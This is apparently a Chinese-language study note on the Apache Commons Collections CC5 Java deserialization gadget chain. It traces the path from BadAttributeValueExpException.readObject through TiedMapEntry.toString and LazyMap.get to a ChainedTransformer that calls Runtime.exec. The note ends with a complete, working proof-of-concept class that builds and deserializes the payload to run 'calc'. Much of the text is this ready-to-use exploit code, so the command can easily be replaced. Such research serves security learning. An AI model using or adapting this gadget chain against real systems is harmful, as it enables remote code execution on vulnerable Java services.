CC5
环境搭建
环境跟CC1一样: https://www.cnblogs.com/starme/p/18464845
跟CC1的后半段相同
调用链:
参考: https://www.bilibili.com/video/BV1NQ4y1q7EU?t=1.8
分析
目标是TiedMapEntry.toString ->getValue -> LazyMap.get
重点在这里:
public Object getValue() {
return map.get(key);
}
map = LazyMap
key = Runtime.class
TiedMapEntry类的构造方法:
即:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, Runtime.class);
tiedMapEntry.toString();
然后是BadAttributeValueExpException.readObject -> TiedMapEntry.toString
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
val = valObj.toString();
所以要让valObj = tiedMapEntry
构造方法:
public BadAttributeValueExpException (Object val) { // 一个对象
this.val = val == null ? null : val.toString(); // val字段
}
直接把tiedMapEntry赋给 val不就好了,那样val就有值了,也符合要求
沃日有点奇怪,直接从A就到B了:
经尝试不能是,这种情况下就会产生上面的灵异情况:
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
而必须是通过反射来调值:
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
哦我知道了,通过构造方法赋值时:
会直接把调用 TiedMapEntry.toString ,所以需要以反射来赋值
完整代码
package org.example.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
// chainedTransformer.transform -> InvokerTransformer.transform
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}), // 原来把transform(Runtime.class)省去了
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
}; // 省去了.transform这步,引入了ChainedTransformer
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// LazyMap.get -> InvokerTransform.transform
HashMap<Object, Object> map = new HashMap<>();
// 新生成一个map:
map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
// lazyMap.get(Runtime.class);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, Runtime.class);
// tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
// serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}